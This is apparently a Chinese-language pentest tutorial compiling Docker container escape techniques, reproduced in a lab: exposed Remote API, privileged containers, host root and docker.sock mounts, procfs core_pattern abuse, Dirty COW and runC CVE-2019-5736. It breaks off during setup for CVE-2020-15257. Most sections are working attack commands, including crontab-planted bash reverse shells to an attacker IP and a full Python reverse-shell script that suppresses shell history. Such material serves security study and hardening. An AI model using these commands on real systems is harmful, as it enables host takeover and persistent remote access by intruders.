添加链接
link之家
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

宸极实验室—『杂项』Docker 逃逸方法汇总

介绍: Docker 逃逸方法汇总。

0x00 前言

在攻防中,拿到 webshell 后,发现自己是在 docker 容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。

复现关于配置错误导致的 docker 逃逸时,均使用的是 Ubuntu20.04.5 和最新版 docker ,在复现脏牛漏洞实现 Docker 逃逸、 runC 容器逃逸漏洞、 CVE-2020-15257 逃逸时,在环境搭建部分,有相关版本说明。下面就介绍各种docker逃逸方法:

0x01 如何判断当前机器是否为docker容器环境

1.1 检查根目录下是否存在.dockerenv文件

如果根目录下存在 .dockerenv 文件,说明是在 docker 容器中。

ls -al /

1.2 检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的 cgroup 信息,存在 docker 字段则是在 docker 容器中。

cat /proc/1/cgroup

0x02 Docker Remote API未授权访问逃逸

在使用 docker swarm 的时候,管理的 docker 节点上会开放一个 TCP 端口 2375 ,默认绑定在 0.0.0.0 上,造成任何人都可以访问管理端的 2375 端口,任何人都可以远程控制管理的 docker 环境。

2.1 环境搭建

使用 vulhub 中的漏洞环境。

cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d

2.2 漏洞验证

访问 version info 界面,如果存在返回信息,说明漏洞存在。

http://192.168.59.147:2375/version
http://192.168.59.147:2375/info



2.3 漏洞利用

在利用之前,需要在中安装好 docker ,通过命令查看目标主机是否存在正在运行的 docker 镜像,结果为空,说明不存在正在运行的 docker 容器。

docker -H tcp://192.168.59.147:2375 ps

让目标主机拉取一个镜像。

docker -H tcp://192.168.59.147:2375 pull alpine

查看目标主机拉取的镜像。

docker -H tcp://192.168.59.147:2375 images

以特权模式,启动拉取的 alpine 镜像。

docker -H tcp://192.168.59.147:2375 run -it --privileged alpine  /bin/sh

查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
ls hacker/

首先在 kali 中使用 nc 监听,进入到 hacker 目录,通过 touch 创建一个 sh 文件,再将 bash 反弹命令写入到创建的 sh 文件里面,在编写计划任务到 /hacker/etc/crontab 文件中。

cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

返回到 kali 中进行查看,已成功接收到 shell


0x03 privileged特权模式启动容器逃逸

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时, docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过 chroot 切换根目录、写 ssh 公钥和 crontab 计划任何等逃逸到宿主机。

3.1 环境搭建

拉取一个镜像,在启用时使用 --privileged

docker pull ubuntu:16.04
docker run -itd --privileged ubuntu:16.04 /bin/bash

3.2 漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话, CapEff 对应的掩码值应该为 0000003fffffffff

cat /proc/self/status |grep Cap

3.3 漏洞利用

docker 容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker

首先在 kali 中使用 nc 监听,进入到 hacker 目录,通过 touch 创建一个 sh 文件,再将 bash 反弹命令写入到创建的 sh 文件里面,在编写计划任务到 /hacker/etc/crontab 文件中。

touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

返回到 kali 中进行查看,已成功接收到 shell

0x04 危险挂载导致Docker逃逸

在启动 docker 容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成 docker 逃逸。

4.1 环境搭建

docker pull ubuntu:16.04
docker run -itd -v /:/hacker ubuntu:16.04 /bin/bash
docker exec -it e3a95344a65d bash

4.2 漏洞利用

进入到 hacker 目录,查看是否将宿主机的根目录挂载到 /hacker 目录中,挂载成功之后,接下来就可以通过写计划任务反弹 shell ,这里就不再演示,反弹 shell 方法参考上面反弹 shell 步骤。

cd hacker/
ls

0x05 挂载Docker Socket逃逸

在启动 docker 容器时,将宿主机 /var/run/docker.sock 文件挂载到 docker 容器中,在 docker 容器中,也可以操作宿主机的 docker

Docker 采用 C/S 架构,我们平常使用的 Docker 命令中, docker 即为 client Server 端的角色由 docker daemon 扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标 docker ,使用 docker 命令,操作 docker

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

5.1 环境搭建

docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

5.2 漏洞验证

如果存在这个文件,说明漏洞可能存在。

find / -name docker.sock 

5.3 漏洞利用

docker 容器中安装 docker

apt-get update
apt-get install docker.io

docker 容器中,使用命令查看宿主机拉取的镜像。

docker -H unix://var/run/docker.sock images 

docker 容器中,使用命令再运行一个 docker 容器,将宿主机的根目录挂载到 ubuntu:16.04 test 目录中,造成 docker 逃逸,在通过写计划任务方式,反弹 shell ,这里不在演示反弹 shell 过程。

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
ls /test

0x06 挂载宿主机procfs逃逸

procfs 中的 /proc/sys/kernel/core_pattern 负责配置进程崩溃时内存转储数据的导出方式,如果 /proc/sys/kernel/core_pattern 文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行 docker 逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。

6.1 环境搭建

启动容器,将 /proc/sys/kernel/core_pattern 挂载到容器中的 /host/proc/sys/kernel/core_pattern 位置。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04

6.2 漏洞验证

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

find / -name core_pattern

6.3 漏洞利用

当启动一个容器时,会在 /var/lib/docker/overlay2 目录下生成一层容器层,容器层里面包括 diff、link、lower、merged、work 目录,而 docker 容器的目录保存在 merged 目录中,通过命令找到当前容器在宿主机下的绝对路径, workdir 代表的是 docker 容器在宿主机中的绝对路径。

cat /proc/mounts | grep docker

安装 vim gcc

apt-get update -y && apt-getinstall vim gcc -y

创建一个反弹 Shell py 脚本。

vim /tmp/.t.py
#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.59.145"
lport = 6666
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

我们修改 /host/proc/sys/kernel/core_pattern 文件以达到修改宿主机 /proc/sys/kernel/core_pattern 的目的。

chmod 777 /tmp/.t.py
echo -e "|//var/lib/docker/overlay2/559aa75e1fbf3659f9f229f5d7e7e6c4ce4ec1cb2a8c42d3d07476c42148a567/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

kali 中使用 nc 进行监听,然后在容器里创建一个可以崩溃的程序,编译之后并运行。

vim t.c
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
gcc t.c -o t
./t

返回到 kali 中进行查看,已成功接收到 shell

0x07 脏牛漏洞实现Docker逃逸

当宿主机存在 Dirty Cow(CVE-2016-5195) 漏洞时,利用该漏洞,可实现 Docker 容器逃逸,获得 root 权限的 shell

7.1 环境搭建

使用 Ubuntu 14.04.5 版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好 docker docker-compose

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/ 
sudo docker-compose run dirtycow /bin/bash

7.2 漏洞利用

kali 中开启监听,进入到 dirtycow-vdso 目录,编译之后,并执行。

cd /dirtycow-vdso
./0xdeadbeef 192.168.59.145:6666

返回到 kali 中进行查看,已成功接收到 shell

0x08 runC容器逃逸漏洞

2019 2 11 日, runc 的维护团队报告了一个新发现的漏洞,该漏洞最初由 Adam Iwaniuk Borys Poplawski 发现。该漏洞编号为 CVE-2019-5736 ,漏洞影响在默认设置下运行的 docker 容器,并且攻击者可以使用它来获得主机上的 root 级访问权限。

8.1 影响版本
docker version <= 18.09.2
RunC version <= 1.0-rc6

8.2 环境搭建

使用 Ubuntu 16.04.7 版本进行复现,通过下面命令安装指定版本 docker

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

安装完 docker 之后,拉取 ubuntu16.04 docker 容器,并运行。

docker pull ubuntu:16.04
docker run -it ubuntu:16.04

8.3 漏洞利用

kali 中下载 exp ,并进行编辑,在 var payload 所在行中添加 bash 反弹命令。

git clone https://github.com/Frichetten/CVE-2019-5736-PoC 
cd CVE-2019-5736-PoC
vim main.go

修改完之后,进行编译。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

重新打开一个终端,查看正在运行的 docker 容器,并将编译生成的 main 文件,拷贝到 ubuntu:16.04 容器中的 tmp 目录中。

docker ps
docker cp main cfb1c24d8c58:/tmp

docker 容器中,给 tmp 目录中的 main 文件提升权限,并运行。

cd /tmp
chmod 777 main
./main

假装为宿主机管理员,现在进入到该容器中,运行完命令之后,会提示 No help topic for '/bin/bash' ,这时并没有进入到 docker 容器中。

docker exec -it cfb1c24d8c58 /bin/bash

这时再到 docker 容器中进行查看,发现 exp 已被执行。

返回到 kali 中进行查看,已成功接收到 shell

0x09 CVE-2020-15257逃逸

由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 0 ,但没有限制对抽象 Unix 域套接字的访问。所以当一个容器 root 权限,且容器的网络模式为 --net=host 的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的。

9.1 影响版本

containerd < 1.4.3
containerd < 1.3.9

9.2 环境搭建

使用 Ubuntu 16.04.7 版本进行复现,通过下面命令安装指定版本 docker

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"